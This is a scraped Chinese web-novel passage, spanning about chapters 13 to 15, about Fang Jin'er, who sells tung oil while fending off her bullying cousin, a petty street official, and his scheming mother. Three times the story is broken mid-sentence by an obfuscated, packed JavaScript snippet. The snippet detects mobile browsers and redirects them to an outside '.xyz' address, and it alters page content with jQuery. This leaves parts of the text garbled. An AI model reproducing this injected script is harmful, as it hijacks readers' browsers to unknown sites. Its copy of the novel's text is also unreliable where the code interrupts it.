“房司副就是你那个二叔,房老二家的儿子?” 房锦儿点头。 房姓在盛都不是小姓,吴顺虽知道些房锦儿的家事,也晓得新来的司副姓房,却就是没往那方面想。 现在人和事对上了号,他看房进利的眼神里更多了几分鄙厌。 毛富那小子头被他砸破,现还缠着布呢,在衙门里都如此横行霸道,可见当年对房锦儿姐弟三人有多可恶。 “房爷,这位娘子说得不错,摊子既不占用街道,也未挡住旁边的铺子,算不得侵街违律,不能抄。” 吴顺朝房进利行了个礼。 刘三儿也道:“房爷,一个破油摊子而已,何必置气。牟大人还等着你回去办别的差事呐。” 却是房进利不肯饶:“不能抄?吴顺,你在教我做事?” 吴顺:“小的不敢,小的只是按律论事。” “按律论事?好啊,按律论事,那你就给我抄了这个违律占道的油摊!怎么,不肯?我堂堂司副,倒不如你的官威大?” 房进利现在争的已然不是甚么律法对错,而是他在这大安坊的颜面。 他转身朝一众捕快道:“谁今日有本事抄了这摊儿,以后就是我房某人的兄弟,我回去重重有赏!” 那几个跟他一道来的差役蠢蠢欲动,提刀便要上前,吴顺赶忙带着毛富将几人牢牢挡住。 “一群废物。” 房进利见无人敢动,干脆疾跨几步,伸手去掀房锦儿的背篓。惊得围观众人吓了一跳,齐齐退步。 那背篓夹在房锦儿和锦云之间,紧靠着逸哥儿。 逸哥儿以为房进利是要捉人,吓得往前一挡:“阿姐小心!” 房锦儿却是一眼看穿了他的来意,也亏得逸哥儿这一挡,她眼疾手快将背篓拎起朝后一递,递给了那书铺的妇人。 而后以衣袖接了房进利一爪子,跟着惊叫道:“堂兄这是干甚么?” 她声音颤抖,围观众人看不甚清,以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913739|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房进利手脚不干净,皆惊道:“好个贪赃枉法的狗官差,竟这般无耻。” 房进利扑了空,愈发火大,转朝那装油的陶罐袭去:“干甚么?老子今日非得砸了你的缸。” “你休想。”房锦儿最宝贵便是这油罐,吃饭的家伙,里头还有小半罐油呢,岂能让他毁了。 她双手扣缸死命拽住,竟与房进利打了个平手。 两人僵持,罐子原地未动。 然房锦儿毕竟瘦弱,撑不得两息手指便失了力,加之油罐湿滑,只听一声细响,那缸底被移过半寸还多。 房进利闷头拔缸,房锦儿心有余而力不足,干脆狠心一咬牙,果断将手一松。 油罐不小,没了她的拉力,登时朝房进利倒去,房进利又怎料到她会放手,还在那埋头用力呢,突然一松劲,连人带缸拔向后地而起。 只听“哐啷”一声闷响,那油缸竟把他重重砸在了地上,脑袋上瞬间砸出条血口子,与那日毛富被花盆所砸如出一辙。 “哎哟!” 房进利捂头痛呼之时,围观众人皆是拍手叫好,直呼大快人心。 几个跟班顾不得与吴顺等人对峙,连忙来搀,却被房进利尽数搡开:“滚!还不快给我抓了那女娘,反了!” 吴顺本是懒得理会,奈何刘三儿一个劲给他递眼色,他便只好喊了毛富,两人一人一边,不容分说地将房进利两条胳膊一锁,从地上架起。 毛富低声:“房爷,对不住了。” 吴顺侧目看了毛富一眼,心说人家用花盆砸你,伤都没好,你倒还先对不住上了? 却也无暇多想,因为房进利还在依依不饶,喊着要抄房锦儿的摊儿。 吴顺听得烦躁,手上不动声色用力一拧,疼得房进利又是一声嗥叫。 “房爷,疼就休要挣扎了,回衙门养伤要紧。” 为首的都挂了彩了,几个跟班自然也不敢再闹,刘三儿趁着这间隙赶紧驱散众人,叫街道司一行回衙。 房锦儿见他要走,赶忙伸手把人拉住:“这位官人,你看我这小本生意,桐油洒了不少,缸也磕破了边儿,是不是……” “是甚么?”刘三儿一瞪眼。 “房爷今个没抄你的摊儿,你就偷着乐罢。以后休要占道经营,再敢违律,有你好看。” “……” 待到众人散去,房锦儿拿进逸擦瓶的粗布擦净油罐,收了摊儿。 那油罐上磕破个两寸长的口子,好在不影响使用。 书铺的妇人拎了背篓来还她,房锦儿诚心行了礼,道:“今个多谢芳苓娘了,险些连累了你的摊子。” “谢甚么,我说的都是实话而已。”金芳苓道,“我这摊子不过一堆不值价的旧物,抄了也无妨。倒是你,何时还通晓律法了?” “那还是得谢你。”房锦儿笑道。 “你不是送我一本《书判集》么,里头讲的虽是本朝商贾奇案,却有不知何人留下的律令手札,我便从中学得一点皮毛。” “行啊你。”金芳苓道,“不过你也别谢我,我可不是平白送你书,那是给你抵油钱的,谁教你不肯按市价收。” 房锦儿道:“我也不是不肯啊,我就是想要你铺里的旧书。” “行了行了,今个还剩多少油,都卖给我罢?” “行啊,你铺里那本《诸行买卖》抵给我就行……” 房锦儿抱着油罐跟着芳苓娘进了铺,逸哥儿和锦云在外头等。锦云拉了拉逸哥儿的手,瘪嘴道:“阿兄,二堂哥以后会不会再找咱们麻烦?” 肯定会的。 进逸心头的实话在舌尖顿了一下,没说出来。 他今日见到房进利,从前那些被欺负的日子,挨饿受冻的日子,便又仿佛回到了眼前,教人觉得无助之极。 可想到阿姐把他和锦云挡在身后的那一下,又着实令他惊讶。 阿姐从前那么怯懦,何时变得连二堂兄都不怕了? 那是不是以后只要有阿姐在身边,他们也可以无所畏惧? 他想了片刻,反手攥住锦云,道:“不会,即使来了,也有阿姐和阿兄挡着,绝不让他再抢咱们锦云的东西。” “那我便不怕了,二堂兄再来,你和阿姐就揍他。” 逸哥儿笑道:“对,我先替你揍他,等你长大了,要是他还敢来,咱们仨一齐揍他。” “好!”锦云用力点头。 - 房家在大安坊的浆洗行,离商市不远。 生意虽交给了大儿子房进名和儿媳蕊娘,夏氏还是偶尔抽空来帮衬一把。 说是帮衬,其实主要是看账,浆洗行里若有大笔银钱进出,还是由夏氏说了算。 房进名虽有些不满,却被个孝字压着,不好违背母亲,只得暂且由着她来。 今个正是夏氏到铺里查账的日子。 她哺时查完了账,从浆洗行步行回家,途径商市,正寻思买些做暮食的菜蔬回去,便见商市那李贵酒肆门前,几个熟识的妇人正一人一杯饮子地喝着,眉飞色舞,聊得起劲。 “哟,杜家娘子,卫家娘子,聊甚么呢?” 夏氏向来是个不拘的,脸上端笑便上前去了,哪知那杜家娘子头先瞧见了她,竟佯装咳嗽两声,几个妇人纷纷转头,霎时噤了声。 14. 第 14 章 夏氏脸色落得很快:“哟,这是何意啊?” 在场的妇人当中,除了杜家和卫家,还有个董家,这三家也是在盛都城中开浆洗行的。 卫家同房家一样,只在大安坊有一家铺子。杜家富饶些,在大安坊、邻北的大通坊、敦义坊各有一家。 这董家就不一样了,董家官人乃是城南浆洗行会的行头,董家的浆洗行遍布城南七街二十坊。 若非董家的小郎君在大安坊的书馆念书,董家也不会在此偏远的坊中安宅。 卫家娘子最先笑着站起来招呼:“房家娘子这是要去买菜?今个街角的菜店有好些新鲜的荠菜,你瞧我刚买了些,打算拿回去做羹粥。我看他家那嫩韭也很是水灵,卷些春饼也甚好。” 她一边说着,一边挽了夏氏去看那菜篮子,想把这场难堪化解了去。 其他几位娘子不语,董家娘子干脆端了饮子,往椅背上一靠,掀起眼皮看着夏氏的姿影,悠闲喝起。 夏氏呵呵一笑:“荠菜嫩韭?哟,卫家的浆洗行近来生意不好?只吃得起这些草根菜了?” 卫家娘子伸出去的手停在半空,一时有些无措,只好硬着头皮跟着笑:“房家娘子说得是,大抵是开春水暖,都愿意自个在家涣衣,确实不如冬天的时候。” “嗐,其实也不赖你们卫家不行,时令嘛,就连我们房家的生意,也不过是堪堪稳着罢了。” 夏氏扭腰提裙,毫不客气地往凳子上一坐,占了卫家娘子的位置。 “咱们几家都是同行,没什么不能说的,是不是?近来生意不景气,若是有我能帮得着的,尽管与我说。 不瞒几位,我家二郎进了坊里的街道司,任个司副,虽算不得大,但是个管事的实差,既管税事,也管巡防,这街坊邻舍的,若是遇着个恶民、盗贼,我家二郎也是有些本事……” “噗……” 夏氏话还没说完,杜家娘子一个没忍住,笑出了声。 方才嚼舌根就不带她,好不容易插进来了,正往脸上贴金呢,又被一下子扯破,夏氏当然不悦:“杜家娘子这是想到何事了?怎不说出来让我也笑笑。” 杜家娘子掩了掩嘴:“我怕说了,你笑不出来。” “你不说,又怎晓得我笑不出来?” “好了好了,何必争这一口气呢,房家娘子也渴了罢?叫茶博士再上盏饮子来。”董家娘子伸手。 “董家娘子不必这么护着她,”夏氏嗔道,“依我看,是我家利哥儿进了街道司的事儿惹有的人眼红了。毕竟谁人不知杜家二郎去岁将将落了榜……” “眼红?” 杜家娘子被逗笑了,抬眸看了董家娘子一眼。董家娘子晓得夏氏的德行,既拦不住,便也算了,回她个“说罢”的眼神。 “你还不晓得罢?你那个有本事的好利哥儿,方才在街上欺负小娘子,结果没打过人家,自个儿摔成个翻船的王八,磕得满头血。街坊四邻可都传遍了,我们方才就是说这个呢。” 杜家娘子话毕,在场几位妇人皆是掩嘴“吃吃”地笑起来。 有人笑着补道:“我家小厮路过,可是亲眼瞧着了,说那叫一个狼狈。” “你们是不知,听说还被围观的书生骂了个狗血淋头。” “也不知那头上的‘狗血’止住了没。” 几人又是一番笑。 卫家娘子站在一旁,也忍俊不禁,夏氏闻声转过头,狠狠剜了她一眼。 而后朝杜家娘子道:“你胡言,我家利哥儿怎可能被小娘子打破头,他可是——” “可是什么?”杜家娘子笑道,“可是大安坊里出了名的帮闲?只有他欺负女娘的份儿,没有女娘动得了他?” “你……”夏氏脸上忽红忽青,她站起身来,转身道,“董家娘子,你不说句公道话,就由她们这般信口胡说,编排我家利哥儿?” 董家娘子悠悠然道:“公道不公道,又不是我说了算。是不是胡说,你回去看一看不就晓得了?” “哦,”杜家娘子突然想起什么似地,“你还不知利哥儿碰上的是哪家女娘。” 夏氏眼神“唰”地盯过去,杜家娘子便道:“听说啊,就是被你们房家赶出去的那小侄女儿。” 又一妇人立时笑了,道:“别说,那算卦的算得还真灵。” 夏氏只觉脑袋“嗡”的一下,有些立不住了。 赶出去的小侄女儿,房锦儿? 她不是差点儿冻死了么,不在家中养着,怎会和利哥儿撞上?莫不是听说利哥儿进了街道司,故意报复去惹他麻烦,想让他丢了差事? 夏氏这回真有些信了,忙道:“什么卦?” “这你也不晓得?坊里都在传呢,前阵子有个路过的玄士,给你们房家那小侄女算了一卦,说她是‘禄劫同宫’之命,命中还带着’驿马星’,命硬得很。” “还说她大难不死必能反噬仇家。” “那与她结冤之人岂不是要倒霉了?” “是啊,不然怎会磕了满头血呢。”杜家娘子朝着众人挤挤眼睛。 夏氏脸色愈发地难看,见诸妇人皆偷着笑她,董家娘子也无动于衷,气得绞紧了手中的丝帕。 怒道:“胡说,胡说八道,你们住嘴!我家利哥儿堂堂正正,怎会因个女娘倒霉?究竟是哪个不要脸的玄士,竟敢这般造谣。” 杜家娘子低头抿了抿唇:“天底下没有不漏风的墙。你也知道都是同行,没什么不能说的,是不是?自己个做下的腌臜事,自己个心里没点数?” 夏氏被踩了尾巴一般:“你这话又是什么意思?” “意思就是有的人不要脸。” “行了!”董家娘子把手中茶盏“啪”地往桌上一放,“吵得我头疼,有什么改日再说罢,我还要去西市的乐坊听琴。” 卫家娘子闻言过来搀她起身,夏氏与杜家娘子互瞪一眼,只好作罢,眼睁睁看着几个妇人窃笑离去。 …… 菜蔬自是不想买了,回去的路上,夏氏只觉路人皆在对她指指点点,好几回怒目转头要骂,却又发觉人家并未看她。 利哥儿碰上房锦儿,还打起来,还磕破了头? 她怎么想怎么想不通,怎么想都觉着不可能。 从小到大,她眼瞧着的,利哥儿何时吃过房大那家人的亏? 那个房锦儿瘦得跟麻杆似的,能打得过利哥儿?她光想想都心慌得紧,只怕利哥儿一不小心把房锦儿给打死了,那才不好办呢。 想到这里,她没忍住,“噗嗤”笑出声来。 到底是她多疑了,差点信了那群妇人的话。 卫家眼馋他们房家的生意已不是一两日,那杜家的二郎又是众所周知地不成器,眼下就属利哥儿出挑,当然叫人眼热。 所以她们才编出这些不实之言,让她当众难堪。 是了,夏氏心道:“待我寻出究竟是哪个玄士敢这般毁谤,若真是她们在背后捣鬼,我定不轻饶。” 她加紧了脚步返回家中,见房进利还未下值回来,心头果真松了一口气。 哪知还松放不得一刻钟,忽听外头院门“砰”的一声大响,有人踹门而入,出去一看,正是房进利回来了,头上三缠两道地裹着布,隐隐可见血色。 “啊哟我的利哥儿——” 老太太左氏本是在灶房生火,见着房进利这幅模样,心急火燎,“这是怎的了?素娘,素娘?你快来看看,利哥儿受伤了。” 夏氏一见那纱布便僵住了,老太太唤了好一会,她才后知后觉似地回过神来:“这,这是?” 房进利心里烦躁得紧,挥手把俩人推开,怒气冲冲:“巡街摔了一跤。” 夏氏一听,自然不信,上手将那纱布摸了摸,追问道:“摔能摔成这样?” “我说是摔的便是摔的,休要问了。”房进利没给她好脸,“我饿了,我要用饭!” 知子莫若母,夏氏心中猛然一坠。 要真是摔的,这小子早便委屈哭着喊娘了,他越是藏着,越说明有鬼。 杜家娘子所言那命卦翻上耳来,什么‘禄劫同宫’’驿马星’,什么房锦儿大难不死反噬冤家,什么房家要倒霉。 她一把揪住要往屋里走的房进利:“你给老娘说实话,这伤到底哪来的?你是不是碰上什么人了?你就这般裹着纱布回来的?路上没被别人瞧见罢?” “你管我碰上谁了?我纯纯倒大霉行了罢!”房进利再度甩开她,“饭到底好没好,小爷我饿死了。” 他哪晓得“倒大霉”三个字简直如三支利箭,嗖嗖往夏氏心口扎。 夏氏也怒了:“我呸呸呸,你不说清楚,今个别想吃饭!” 老太太连忙来拉:“有有有,饭马上就好,利哥儿听话。素娘,你不是说买菜去了,怎不见菜买回来?” 夏氏此时最不想听见便是那“菜”字。 颜面都丢尽了,还吃什么菜?同卫家一般吃荠菜韭菜糠咽菜么? 她瞪着不知情的左氏,心头陡然升起一股无名火,恰在这时,院门又是“吱呀”一声,蕊娘乘了驴车回来了。 “娘,祖母,利哥儿?” 蕊娘一下车,便见院子里热闹得很。 “就你自个回来了?名哥儿呢?”夏氏眉头一皱,怒从语出。 可怜蕊娘还不知情:“名哥儿说送完今个的货便回,让我先……” “自家官人还未歇息,做娘子却偷奸耍滑,账本还要我这个做婆母的帮你看,名哥儿娶了你可真是好福气!” “娘,我不是……” “你不是甚么不是?让你买的菜蔬可买回来了?” 蕊娘诧异抬眼:“您不是嫌我买的不好,说要亲自……” 夏氏劈头打断:“我说了甚么我不记得?没买便是没买,竟这般狡辩。既没买,你便去潘楼端几个现成的来。” 蕊娘咬了咬嘴唇,还待要开口,房进利却是终于满意了,舔了舔嘴,道:“我要吃酱肘子和烧鹅,哦,新开坛的咸阳春别忘了给我买一壶,我要小梅娘亲自倒的。” - 回家的途中,房锦儿背着那磕破边儿的陶油罐,带着两个小的绕了点儿远路,去了趟坊东的丝绢布行。 “阿姐,咱们不是来买布的么,买这些彩线做什么?” 锦云手中抱宝贝似地抱着一小包丝绵,看看房锦儿,又回头望望进逸。 进逸背篓里竖插着一匹粗布,手中也拎着个颇大的包袱,不过里头装的不是丝绵,而是麻絮。 房锦儿背篓里也插两卷草席,那本厚厚的《诸行买卖》贴着硕大的油罐,就挤在背篓边儿上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930380|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她今个是带着两小只来买棉布做被褥。 穿来这么些时日了,倒座房里连床被子都还没有,姐弟三人依旧睡那薄薄的草席,到底不是长久之计。 做被要绵,丝绵贵,只能先以麻絮为主,凑合着用。 房锦儿正在柜台上选丝线,头也不抬:“你湘娘娘那彩布不是还未绣完吗?我看她线用得差不多了,咱们选些给她。” 吴家两口子不肯要她还那药材钱,方才恰见此店有售丝线,便想到了薛湘。 不过这丝线她着实不懂,颜色样式多得缭乱,她瞧了半天,终是抓了抓头发:“劳烦店家帮我选罢。” 那店小二便问了她用处、绣样,末了挑出几束。 房锦儿还算满意:“总共几何?” 店小二算盘珠子拨了拨:“上好的杭丝一百五十文一两,三两总计四百五十文,小娘子给四百四十五文罢。” 四百五十文?没听错罢? 逸哥儿眼睛兔子似地一睁,而后埋头便是一通算。 粗布一丈二尺一百二十文,草席一大一小两张六十七文,丝绵一百二十文一两,买了五两花去六百文,麻絮到是便宜,六斤不过二十文。 可这一算,短短三刻钟,阿姐已经花出去一贯又三十七文。 现在还要再花四百五十文。 而这十来日他们早出晚归,背油累个半死,刨去本钱与吃食,也不过赚得两贯又四百零三文。 进逸倒吸一口凉气。 这哪是来买布做被子的,这分明是来荡产倾家的!好不容易赚得些,哪能这么花。 “阿姐!”他急急把房锦儿拉到一边,低声道,“给了这四百四十五文,咱们就只剩六百九十一文,买二十斤桐油的钱都不足了。” 房锦儿一愣,随即有些惊喜:“嚯,你小子算账愈发快了啊。” 进逸也一愣,这是重点么? 他摇头:“不是,阿姐,咱们明日买油还需用钱,若是二堂哥再来捣乱,那……” “那也有的是法子。” 房锦儿拍拍他的肩:“你这般想,若是今日房进利把咱们的摊子抄了,拿走了咱们的两贯又余,咱是不是就分文不剩了?” 进逸一阵后怕:“是。” “那现在他没能抄得了咱们,是不是那两贯又余又回到了咱们手上?” 进逸想了想:“好像是?” “那是不是就等于白得了两贯又余?” “好像……也是?” “那既是白得的钱,花了也无妨,你说是不是?” “好像是。”进逸也抓了抓头发。 “诶——” 对喽。 房锦儿转身要回柜台,进逸忽觉不对:“……不是,阿姐,不能这么——” “四百四十五文,”房锦儿已经笑着把钱拿出来了,顺便指着柜台角落一小筐布料边角,与那小二道,“再送一篓布头便成交。” …… 花了钱出来,房锦儿神清气爽。 给薛湘的丝线买了,正儿八经的草席有了,做被子的料齐了,有了被褥,以后便不用再挨冷受冻,柴禾钱也能省下一些。 她盘算着,手里这篓碎布头拼一拼,填上枯草,兴许能够做两个软枕头。若是不够,就先做一个枕头,剩下的做个小荷包。 小锦云玩着那碎布高兴得很,逸哥儿却仍是有些闷闷不乐。 房锦儿伸手将他揽过来:“房进利那厮不善,咱们碰上他一回,没叫他讨着好,就一定会碰上他第二回,第三回。” “官始终比民大,房进利那点子官威,较起真来,足以压咱们一千头。今个咱们钱侥幸没被他抄走,可明个呢?说得准不?与其哪天落在他手中,倒不如咱们先用在刀刃上,之后轻装上阵,也好灵活行事。” 房锦儿也是被刘三儿那两句话提了个醒。 官官相护,若房进利当真想从她手中夺财,硬拼并非良策。 进逸醍醐灌顶:“所以阿姐这般花钱,也是防着二堂哥再来抢?” 房锦儿点头:“而且被褥迟早也要买的嘛。阿姐赚钱,不就是为了这个?若咱们起早贪黑赚了钱,终究还要冻坏在那破屋子里,你说委屈不委屈?” …… 这坊东靠着清明渠,渠上玉桥如绫,桥上灯火如星。 临江楼的灯笼就悬在那桥中央,两艘画舫如烟如缈,如仙子奔月般拱卫左右,其上亦是萤灯粲粲,歌舞升平。 姐弟三人不曾到过这片富户聚居的区域,更不曾见过这番盛景,纷纷驻足观看。 房锦儿先是赞叹于临江楼之美景,而后看着看着,忽见那河畔道边,还有一座宽门阔扇的大宅,隐隐立在一片灯火之巅。 宅前青石铺路,门槛七阶踏步,左右两只威武石狮,十几个护道的家丁站在那石狮前,贵气威严。 再细看去,只见里头云纹立柱若隐若现,飞檐翘角沿墙而起,琉璃青瓦鳞覆其上,花木浮影其间。 那门楣上雕祥画瑞,匾额书两字:董宅。 房锦儿自打穿来便在穷人堆里打转,还是头一回见着这朝的富商豪第,简直眼都看直了,羡慕得不行。 好歹前世也是个赚钱赚到手软的地产集团高层啊,她不想住那破落院,她也想住这样的宅子。 15. 第 15 章 崇贤坊的定远将军府后院,元甲带着一堆丫鬟敲开门进来。 顾济一写字的手一顿:“找着了?” 元甲瘪了瘪嘴:“没,大娘子让我给你拿些吃的用的来,过两日不是要搬去学馆了么。” 他说着,抬了抬手,丫鬟们鱼贯而入,放东西的放东西,收拾的收拾,房间里一下子满满当当。 顾济一看了看拿来的,又是锦缎团花的被衾,又是白玉枕头,银盆香粉,一堆笔墨纸砚倒还算有用,可也太多了罢,光砚台就有造型各异的五六个,纸卷更是堆成小山。 “我是去念书,又不是去赴任。带这么多没用的东西作甚?” “大娘子一片心意,郎君就收着罢。况且怎叫没用呢,你看这个。”元甲嘿嘿一笑,把手里拎着的两大包东西往桌上一放,打开其中一包。 “大娘子让人专程从西北运来的肉干,怎么样?” 顾济一“唔”了一声,眼睛亮了,拿起一块啃了一口:“不错。可光有肉干没有炊饼,不得劲。” “炊饼还不好说么,坊里刁家食肆的,我每日下山给你买就是了。” “诶,这可是你说的啊。” “我说的。”元甲拍拍胸脯。 “那这包是什么?”顾济一吃着肉干,指了指元甲拿来的另一包东西。 “哦,这是大娘子给你备的新衣。”元甲把包袱打开,里头是几套圆领绸缎襕衫,“她说你日日穿得乌漆嘛黑,不像个读书人,该穿点儿浅的白的,文雅的。” “不要不要,”顾济一当即盖上包裹,“你让伯母拿回去。” “不是,郎君,我觉着大娘子说得挺有道理的。盛都城里都兴穿这圆领宽袖的襕衫,你那些箭袖的交领衫子,咱在西北时穿穿还行,现在……” “现在如何?盛都城里兴甚么不兴甚么,与我何干?我就爱穿箭袖,方便。” “郎君要不先试试?大娘子给都给了,再说宽袖也挺舒服……” “舒服那你穿?扇坠还没找着呢,有这闲工夫你先去给我找扇坠。” “我哪敢穿,”元甲委屈,“整个崇贤坊我都跑遍了,就差没把文德学馆那山头翻过来,愣是找不见啊。” 顾济一:“那就把山头翻过来啊。” 元甲:“……” “坊里找不着,就去别的坊问问,万一是出城的路上丢的。”顾济一转回桌边儿去,重新拿起笔,“总之掘地三尺也得给我找回来。” “……那这些衣裳呢,真退给大娘子?” 顾济一头也不抬地挥挥手:“退。” - 另一边,西市最大的乐坊之中,二层的垂帘小楼里,几个妇人趺坐在毯上,正听抱琴的乐伶弹曲。 董家娘子陆元真坐在正中,背后靠着几个精致软垫,口中吃着新煎的蜜饯,表情颇为享受。 “真姐,”杜家娘子小声道,“方才何不干脆让我揭了那夏氏的脸面?” 陆元真觑她一眼,笑道:“你眼红她家二郎啊?” “真姐!”杜家娘子轻推了她一下,“我眼红她作甚,我是替你不平。她借着行会勾搭董大东家,还让董大东家通告各家浆洗行,不准雇用她家侄女,你就一点儿不生气?” “不许雇用的又不是我,我生甚么气。” “那你就打算由着她和董大东家这么……这么去?” “好!”一曲完了,琴弦利落收尾,陆元真拍手扔出去几锭银钱,“是钱不好花还是曲不好听?管不了的事情,我懒得管。” “可,就这么放过那夏氏,我都咽不下这口气。” “想揭她脸面的人多了去了,用不着你。” 杜家娘子闻言抬眼:“你是说她家那侄女?” 陆元真笑着拍拍她:“我没这么说。你去,看看隔壁那擅弹琵琶的绿珠娘子起了没,帮我请来,就说我今日有好物相赠,请务必来弹一曲。” - 吴家今夜的灯也熄得晚。 因为吴顺和毛富几人下值后,又被房进利罚去清扫交渠涨水留下的污泥。 薛湘从房锦儿的倒座房回来时,吴顺还在给胳膊上抹正骨药。 今日的事薛湘已经听他说过了,她放下丝线,接过药替他揉着:“要是明早还疼,咱就去药铺寻大夫看看。” “不用,被那厮拿刀把打了一下而已,有你给我擦药,明早就好了。” 薛湘怒了努嘴:“撒气撒到你这里来了,一家子缺德鬼,干尽坏事,迟早遭雷劈。” 吴顺下巴点了点薛湘拿进来的东西:“那是什么?” “哦,锦儿给我买的丝线。”薛湘笑着把东西拿过来,“瞧这颜色,好看不?” 吴顺摸了摸:“这丝不便宜罢。” “别瞎摸,摸脏了。”薛湘拍开他手,“贵得很呐,这是上好的杭丝,这么一点儿得好几百文钱。” “她这是还想着咱们给的那两包药?” 薛湘点头:“可不是么,这丝线是特意给我买的,我也只好收了。我过去的时候看她正缝被子呢,那针脚粗的呀,塞进去的麻絮一个劲往外钻。” 两口子同时笑起来,薛湘继续道:“我便叫她莫要缝了,等我明个去给她弄。” 吴顺笑道:“还说什么了?” “还把房进利臭骂了一通。” 薛湘笑着抿了抿嘴:“唉,别看她卖这桐油生意不错,每天天不亮出门,不知走多远才背回来那么点儿,还要被自家二堂哥欺负,个中辛苦恐怕只有她自己晓得。” 她替吴顺揉完了药,道:“你在外头要是能帮,就多帮帮他们姐仨。” 吴顺躺下:“知道。” - 翌日一早,房锦儿照旧带着进逸出城背油,在油庄里与鸿文打了个照面。 “走水的事情查得怎么样?” 鸿文摇摇头:“怪得很,被烧伤的油匠老谷坚称当时缸里少了油,所以才会跑去取灯来照。可我和东家后来量了库中所有的缸,不见少。” 房锦儿道:“那个老谷人怎么样?” 鸿文道:“庄里的老油匠了,人木讷,但决不会撒谎。” “那就是有人暗地里把缸填满了?” “我觉着有这可能,”鸿文点头,“可那日火尚未灭,咱俩就把库房的大门关了,火小后东家便带人检查,如此短的时间填满油缸,谁能做得到?” “你们油庄里几百号人,还真不好说。”房锦儿想了想,“那库房和柴房之间的油渍是怎么来的,这个可有线索?” 鸿文揉了揉太阳穴:“这就更难了,每日出入库房的油匠便有几十,谁漏了洒了,压根不记得。东家日日催我厘清此事,我都不知该从何查起了,弄得我觉都睡不着。” “唉,”房锦儿拍拍他的肩:“你也不容易。” 鸿文替她和进逸扶了扶背上的油罐:“何时能来修路啊,要不我也跟你们下山卖油算了。” 房锦儿道:“修路还早,但卖油简单。咱俩合伙,本钱我出,摊子我摆,吃住我供,你专门背油,一日三趟五十斤,月钱……” 她掐指算了算:“月钱六贯,每日超过五十斤的,另算抽头,如何?” 鸿文啧道:“一日五十斤油,一月你少说净赚五十八贯,合伙才分我六贯,你比我们东家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943276|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还黑。” 房锦儿嘿嘿一笑,道:“鸿文啊,目光不能短浅,合伙要往长远了看。初期少拿些,为的是省出银子让生意打下根基,待咱们以后做大了,还不有的是赚?” “罢了,”鸿文把姐弟俩送到庄门口,“我觉得还是我们东家画的饼实在些,毕竟我也吃了好多年了,你这个,不好下咽。” 背着油下了山,回到金光门,见金光门前聚集了不少百姓。 房锦儿和进逸排在队伍中间,只觉前方遥遥无期,后面也望不到头。跟前面放弃进城的人一打听,才知是巡检司下了新令,从今开始,凡带货进城者,都要办路引。 这路引房锦儿见过一回,就在那卖油货郎的箱子里。 起初她以为是出入城门必须之物,后来往返多次也不见守门的卒役问她要过,就当是可有可无了。 她拦住个老伯:“敢问老丈,可知为何今日突然要路引?” 那老丈一脸不满:“咱们盛都城里人,谁办那玩意?从前都是外乡人才有。听说是城外的流寇混进城去了,也不知犯了甚么事,这才警惕起来。” “真是流寇,流寇进城了?”旁边人闻言,纷纷过来叙话。 房锦儿对那流寇不感兴趣,只关心她今日摆摊恐怕要晚。 这么多人,得排到什么时候去? 姐弟两人从天蒙蒙亮排到日上三竿,房锦儿都快抱着油罐睡着了,进逸忽然推了推她:“阿姐,总算到咱们了。” 房锦儿便带着进逸一五一十地向卒役说明原委,又报了姓名住处,家中几口,买了多少斤油。 那卒役核实了油罐,道:“行,办路引需得要户书,你二人留下一个,另一个去取。” “这,官人大哥,”房锦儿愣了一下,笑着道,“你看我这幼弟年纪尚小,我去取罢,不放心他自个守着,他去取罢,他不识得路啊。能不能通融通融,我每日都要往返金光门,明日定把户书给您送来。” “不行。”卒役看了看进逸,“你们到底是不是盛都城里人?这半大孩子了会不认得路?” 进逸虽瘦,可在同龄孩子中个头不矮,加上不苟言笑的,看上去确实显得早熟,而且他也确实认得路。 房锦儿见这招行不通,又心生一计:“那我将这罐小些的油抵在此处如何?待我拿了户书,定会来取。” 她指了指进逸背篓。 时间不等人,先背一罐去卖了也好啊。 油这东西放得住,大不了明日再来拿,总比一来一回,白费一个时辰强。 那卒役不耐烦了,将身一拦:“谁要你的油,要是个个都把东西抵在这,我们差事还办不办了?你究竟有没有户书,若是没有,今个就进不了城。” “有有有,有有有,官人大哥别急。” 房锦儿只好把油放下让进逸看着,自个回去取户书。 好在被赶出门时房稳康为了永绝后患,是把他们姐弟三人的户书从房家分出来了的。 她从屋里的碎砖底下翻出灰扑扑的纸笺,拿着小跑回去,总算办出两张路引。 进了城,日头高悬,已近未末。 房锦儿平日巳时末刻便到明经书馆,午初便已支好了摊儿,今个即便走得飞快,还是晚了将近两个时辰。 “卖桐油啊,上好的桐油,清澈见底,没有油渣啊——” 房锦儿脚步一顿,只见她摊子前头半丈许,围着十七八个眼熟的书生,正排队打油。而那圈子中间,一人头戴青布,手中举斗,量油量得不亦乐乎。 坏了。 坏了坏了坏了。 房锦儿心疼得一抽,果然被人占了。 16. 第 16 章 